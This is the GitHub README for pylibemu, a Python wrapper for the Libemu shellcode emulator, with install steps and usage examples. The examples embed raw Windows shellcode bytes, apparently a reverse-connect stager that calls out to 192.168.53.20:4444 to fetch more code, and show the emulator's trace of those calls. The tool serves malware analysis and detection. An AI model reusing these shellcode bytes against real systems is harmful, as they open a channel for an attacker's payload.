- Notifications
You must be signed in to change notification settings - Fork28
buffer/pylibemu
Folders and files
| Name | Name | Last commit message | Last commit date | |
|---|---|---|---|---|
Repository files navigation
Pylibemu is a wrapper for the Libemu library (https://github.com/buffer/libemu).
- Python 2.5+ or Python 3.6+ (read installation notes)
- Libemu
Pylibemu > 0.5.8 does not include Libemu submodule anymore so you are required toinstall Libemu before installing Pylibemu.
To install Libemu, just execute:
$git clone https://github.com/buffer/libemu.git$cd libemu$autoreconf -v -i$./configure$make$sudo make install
Once Libemu is correctly installed, just execute:
$sudo pip install pylibemuPylibemu 0.5.8 is the last version supporting Python 2.
To install Pylibemu, just execute:
$sudo pip install pylibemu==0.5.8>>>import pylibemu>>> shellcode=b"\xfc\x6a\xeb\x47\xe8\xf9\xff\xff\xff\x60\x31\xdb\x8b\x7d">>> shellcode+=b"\x3c\x8b\x7c\x3d\x78\x01\xef\x8b\x57\x20\x01\xea\x8b\x34">>> shellcode+=b"\x9a\x01\xee\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x84\xc0">>> shellcode+=b"\x75\xf6\x43\x66\x39\xca\x75\xe3\x4b\x8b\x4f\x24\x01\xe9">>> shellcode+=b"\x66\x8b\x1c\x59\x8b\x4f\x1c\x01\xe9\x03\x2c\x99\x89\x6c">>> shellcode+=b"\x24\x1c\x61\xff\xe0\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c">>> shellcode+=b"\x8b\x70\x1c\xad\x8b\x68\x08\x5e\x66\x53\x66\x68\x33\x32">>> shellcode+=b"\x68\x77\x73\x32\x5f\x54\x66\xb9\x72\x60\xff\xd6\x95\x53">>> shellcode+=b"\x53\x53\x53\x43\x53\x43\x53\x89\xe7\x66\x81\xef\x08\x02">>> shellcode+=b"\x57\x53\x66\xb9\xe7\xdf\xff\xd6\x66\xb9\xa8\x6f\xff\xd6">>> shellcode+=b"\x97\x68\xc0\xa8\x35\x14\x66\x68\x11\x5c\x66\x53\x89\xe3">>> shellcode+=b"\x6a\x10\x53\x57\x66\xb9\x57\x05\xff\xd6\x50\xb4\x0c\x50">>> shellcode+=b"\x53\x57\x53\x66\xb9\xc0\x38\xff\xe6">>> emulator= pylibemu.Emulator()>>> offset= emulator.shellcode_getpc_test(shellcode)>>> offset4>>> emulator.prepare(shellcode, offset)>>> emulator.test()0>>>print emulator.emu_profile_outputHMODULE LoadLibraryA (LPCTSTR lpFileName = 0x0012fe90 => = "ws2_32";) = 0x71a10000;int WSAStartup (WORD wVersionRequested = 2;LPWSADATA lpWSAData = 1244272;) = 0;SOCKET WSASocket (int af = 2;int type = 1;int protocol = 0;LPWSAPROTOCOL_INFO lpProtocolInfo = 0;GROUP g = 0;DWORD dwFlags = 0;) = 66;int connect (SOCKET s = 66;struct sockaddr_in * name = 0x0012fe88 => struct = { short sin_family = 2; unsigned short sin_port = 23569 (port=4444); struct in_addr sin_addr = { unsigned long s_addr = 339060928 (host=192.168.53.20); }; char sin_zero = " "; };int namelen = 16;) = 0;int recv (SOCKET s = 66;char * buf = 0x0012fe88 => none;int len = 3072;int flags = 0;) = 3072;>>> emulator.emu_profile_truncatedFalse
The new Emulator method 'run' was introduced in Pylibemu 0.1.3 which allows not toworry about details. Moreover the new Emulator attributeoffset allows to get suchinformation if needed.
>>> emulator = pylibemu.Emulator() >>> emulator.run(shellcode) 0 >>> emulator.offset 4 >>> print emulator.emu_profile_output HMODULE LoadLibraryA ( LPCTSTR = 0x01a3f990 => = "ws2_32"; ) = 1906376704; int WSAStartup ( WORD wVersionRequested = 2; LPWSADATA lpWSAData = 1244272; ) = 0; SOCKET WSASocket ( int af = 2; int type = 1; int protocol = 0; LPWSAPROTOCOL_INFO lpProtocolInfo = 0; GROUP g = 0; DWORD dwFlags = 0; ) = 66; int connect ( SOCKET s = 66; struct sockaddr_in * name = 0x0012fe88 => struct = { short sin_family = 2; unsigned short sin_port = 23569 (port=4444); struct in_addr sin_addr = { unsigned long s_addr = 339060928 (host=192.168.53.20); }; char sin_zero = " "; };int namelen = 16; ) = 0; int recv ( SOCKET s = 66; char * = 0x01a40870 => none; int len = 3072; int flags = 0; ) = 3072; >>> emulator.emu_profile_truncated FalseThe Emulator accepts the optional parameteroutput_size which defines how much memorywill be reserved for storing the emulation profile dump. By default, its size is 1MB butit be can changed in two possible ways
>>> emulator= pylibemu.Emulator(1024)>>> emulator= pylibemu.Emulator()>>> emulator.set_output_size(1024)
If the reserved memory is not enough to contain the entire dump, the dump will be truncatedand the Emulator attributeemu_profile_truncated will be set to True. This approach isneeded in order not to penalize performances while analyzing some shellcodes which may produceseveral MBs dumps (such as the Metasploit windows/download_exec). If the entire dump is neededa really simple approach could be to check theemu_profile_truncated attribute after theshellcode emulation test, increase the reserved memory through the Emulatorset_output_sizemethod and subsequently run the shellcode emulation test again as shown above.
Copyright (C) 2011-2023 Angelo Dell'Aera <buffer@antifork.org>
License: GNU General Public License, version 2
About
A Libemu Cython wrapper
Resources
License
Uh oh!
There was an error while loading.Please reload this page.
Stars
Watchers
Forks
Packages0
Uh oh!
There was an error while loading.Please reload this page.
Contributors3
Uh oh!
There was an error while loading.Please reload this page.